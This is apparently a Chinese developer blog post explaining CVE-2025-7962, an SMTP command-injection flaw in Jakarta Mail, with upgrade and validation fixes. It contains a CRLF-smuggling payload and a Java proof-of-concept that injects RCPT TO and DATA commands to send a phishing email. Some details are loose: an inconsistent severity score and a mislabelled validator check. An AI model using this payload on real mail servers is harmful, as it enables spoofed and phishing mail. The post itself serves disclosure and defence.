本博客日IP超过2000,PV 3000 左右,急需赞助商。
极客时间所有课程通过我的二维码购买后返现24元微信红包,请加博主新的微信号:xttblog2,之前的微信号好友位已满,备注:返现
受密码保护的文章请关注“业余草”公众号,回复关键字“0”获得密码
所有面试题(java、前端、数据库、springboot等)一网打尽,请关注文末小程序
腾讯云】1核2G5M轻量应用服务器50元首年,高性价比,助您轻松上云
最近我看到一篇 Eclipse 基金会的文章,该文章暴露出 Java mail 也就是现在的 Jakarta Mail,存在非常高危的 SMTP 注入漏洞#CVE-2025-7962。这个漏洞很严重,高达 7.5 分。
更重要的是,如果你是做企业级应用开发的,尤其是涉及到邮件发送功能的,那今天要说的这个漏洞你可得认真听了!因为它的影响范围还是非常广的。
这个漏洞 CVSS 评分高达7.5 分,而它的可怕之处在于,攻击者可以通过邮件地址注入 SMTP 命令,实现邮件伪造、服务器滥用等攻击。更让人担心的是,这个漏洞已经影响了 Jenkins 等主流 CI/CD 平台。
所以,接下来,我们就一起来聊聊这个高危漏洞的复现与修复方案。
漏洞速览
- 漏洞编号:CVE-2025-7962
- 漏洞类型:SMTP 命令注入(CWE-147)
- 影响组件:Eclipse Jakarta Mail / Angus Mail / 部分 Java mail 等
- 危险等级:中高危(CVSS 6.0-7.5)
- 影响版本:Jakarta Mail 2.0.0 – 2.0.2、Angus Mail 2.0.0 – 2.0.3、部分 1.6.x 版本等
一个换行符引发的血案
SMTP(简单邮件传输协议)是一个基于文本行的协议,使用 CRLF(\r\n)来分隔不同的命令。比如下面的邮件内容。
MAIL FROM:<sender@example.com>
RCPT TO:<recipient@example.com>
DATA
From: sender@example.com
To: recipient@example.com
Subject: Test
邮件正文
.
如果是正常的邮件发送,流程是:连接服务器 → 发送 MAIL FROM → 发送 RECPT TO → 发送 DATA → 发送邮件内容 → 结束。
但问题的根源在于:Jakarta Mail 没有正确处理 UTF-8 编码的回车换行符。攻击者可以在收件人地址中插入 \r\n,然后追加任意 SMTP 命令!那么,你很可能将会受到漏洞攻击。
攻击 payload 示例
合法地址: user@xttblog.com\r\nRCPT TO: xmt1990@126.com\r\nDATA\r\n恶意邮件内容\r\n.\r\n
当 Jakarta Mail 将这个“地址”发送给 SMTP 服务器时,服务器会按行解析:
RCPT TO:user@xttblog.com
RCPT TO:xmt1990@126.com ← 注入的命令!
DATA ← 注入的命令!
恶意邮件内容 ← 注入的内容!
. ← 结束标记
服务器会认为这些都是合法的命令,乖乖执行!
攻击场景有多危险?
- 邮件伪造:攻击者可以发送伪造的钓鱼邮件,看起来是从你的企业域名发出的
- 垃圾邮件中继:利用你的邮件服务器群发垃圾邮件,导致你的域名被列入黑名单
- 信息窃取:通过注入命令获取服务器配置信息
- Jenkins 受影响:Jenkins 的 Jakarta Mail API Plugin 受牵连,攻击者可通过表单验证功能发送任意邮件
国外网友的真实案例表明:在 Jenkins 中,攻击者如果有“配置 Job”的权限,就可以在 Git 插件的 URL 验证字段中注入恶意收件人地址,向任何人发送任意内容的邮件!
漏洞复现(POC)
下面是我简化过的一个的攻击演示代码,供大家参考!
import javax.mail.*;
import javax.mail.internet.*;
import java.util.Properties;
public class SMTPInjectionDemo {
public static void main(String[] args) {
Properties props = new Properties();
props.put("mail.smtp.host", "smtp.company.com");
props.put("mail.smtp.port", "25");
Session session = Session.getInstance(props);
try {
Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("admin@company.com"));
// 正常收件人地址中注入恶意命令
String maliciousInput = "user@company.com\r\n" +
"RCPT TO: victim@phishing.com\r\n" +
"DATA\r\n" +
"From: admin@company.com\r\n" +
"To: victim@phishing.com\r\n" +
"Subject: 账户异常,请立即验证!\r\n" +
"\r\n" +
"您的账户存在异常,请点击以下链接验证身份...\r\n" +
".\r\n";
message.setRecipients(Message.RecipientType.TO,
InternetAddress.parse(maliciousInput));
message.setSubject("正常邮件标题");
message.setText("正常邮件内容");
Transport.send(message); // 执行后,victim@phishing.com 会收到钓鱼邮件
System.out.println("邮件发送成功!");
} catch (MessagingException e) {
e.printStackTrace();
}
}
}
这个代码看起来是在给 user@company.com 发邮件,实际上会额外向 victim@phishing.com 发送一封钓鱼邮件!
如果是某个权威的邮件 title,那么额外受到邮件的人可能会掉进布置好的漏洞里,被别人成功钓鱼。
修复方案
下面,我们简单讨论一下修复方案,三个方案选择其中任意一个即可。
方案一:升级依赖(强烈推荐)
对于 Jakarta Mail,强烈建议升级到 2.0.2+(推荐最新版 2.1.5)。
<dependency>
<groupId>jakarta.mail</groupId>
<artifactId>jakarta.mail-api</artifactId>
<version>2.1.5</version>
</dependency>
<dependency>
<groupId>org.eclipse.angus</groupId>
<artifactId>angus-mail</artifactId>
<version>2.0.5</version>
</dependency>
需要特别注意的是,javax mail 从 2018 年开始,就不更新了,交给 jakarta mail 了。强烈强烈建议不要再使用 java mail 了。
方案二:输入验证(过渡方案)
如果暂时无法升级,则必须严格验证所有用户输入,拦住收件人和发件人中的`\r\n特殊字符。
import java.util.regex.Pattern;
public class EmailValidator {
private static final Pattern SAFE_EMAIL =
Pattern.compile("^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$");
public static boolean isValidEmail(String email) {
// 1. 先验证基本格式
if (!SAFE_EMAIL.matcher(email).matches()) {
return false;
}
// 2. 再检查是否包含换行符和回车符
if (email.contains("\r") || email.contains("\n")) {
return false;
}
// 3. 检查 UTF-8 编码的 CRLF
if (email.contains("\\r") || email.contains("\\n")) {
return false;
}
return true;
}
public static InternetAddress[] safeParseEmail(String emails)
throws AddressException {
if (emails == null || emails.isEmpty()) {
return new InternetAddress[0];
}
// 分割多个地址并逐个验证
String[] parts = emails.split(",");
InternetAddress[] addresses = new InternetAddress[parts.length];
for (int i = 0; i < parts.length; i++) {
String email = parts[i].trim();
if (!isValidEmail(email)) {
throw new IllegalArgumentException(
"Invalid email address detected: " + email);
}
addresses[i] = new InternetAddress(email);
}
return addresses;
}
}
使用方法如下。
// 替代 InternetAddress.parse(userInput)
InternetAddress[] recipients = EmailValidator.safeParseEmail(userInput);
message.setRecipients(Message.RecipientType.TO, recipients);
方案三:Jenkins 专用方案
如果你在使用 Jenkins,立即升级以下插件。
| 插件名称 | 受影响版本 | 安全版本 |
|---|---|---|
| jakarta-mail-api | ≤ 2.1.3-2 | ≥ 2.1.3-3 |
| git-client | ≤ 6.3.2(除 6.1.4, 6.2.1) | ≥ 6.3.3 |
最佳实践
作为 Java 开发者,我们应该时刻提防漏洞攻击。建议如下:
- 保持依赖更新:定期检查
mvn dependency:check - 实施深度防御:不要完全信任任何外部输入,包括邮件地址
- 使用安全 API:考虑使用 Apache Commons Validator 等成熟验证库
- 监控异常:记录所有邮件发送行为,监控异常的收件人数量或频率
- 网络隔离:SMTP 服务器应限制连接源 IP,开启认证和 TLS 加密
影响范围评估
根据官方数据,包括并不限于以下主流框架和平台受影响。
- Jenkins CI/CD:通过 jakarta-mail-api 插件受影响
- Keycloak:身份认证平台,26.3.2 版本及之前版本受影响
- Linux 发行版:Debian security-tracker 已标记,Ubuntu 已发布安全公告,openEuler 的 1.5.2, 1.6.2 版本受影响
总结
CVE-2025-7962 这个漏洞再次提醒我们:即使是看似简单的功能,如发送邮件,如果处理不当也会成为严重的安全漏洞。这个漏洞的根源是经典的输入验证失效问题,只是因为发生在 SMTP 协议层面,危害被放大了太多倍。
对安全有要求的公司,建议立即采取行动,避免被影响到或影响被扩大。
参考资料
- Eclipse Security Issue: https://gitlab.eclipse.org/security/cve-assignement/-/issues/67
- Jenkins Security Advisory: https://www.jenkins.io/security/advisory/2025-09-03/
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-7962

最后,欢迎关注我的个人微信公众号:业余草(yyucao)!可加作者微信号:xttblog2。备注:“1”,添加博主微信拉你进微信群。备注错误不会同意好友申请。再次感谢您的关注!后续有精彩内容会第一时间发给您!原创文章投稿请发送至532009913@qq.com邮箱。商务合作也可添加作者微信进行联系!
本文原文出处:业余草: » Java mail邮件发送爆惊天漏洞CVE-2025-7962,一个换行符正在感染整个Java生态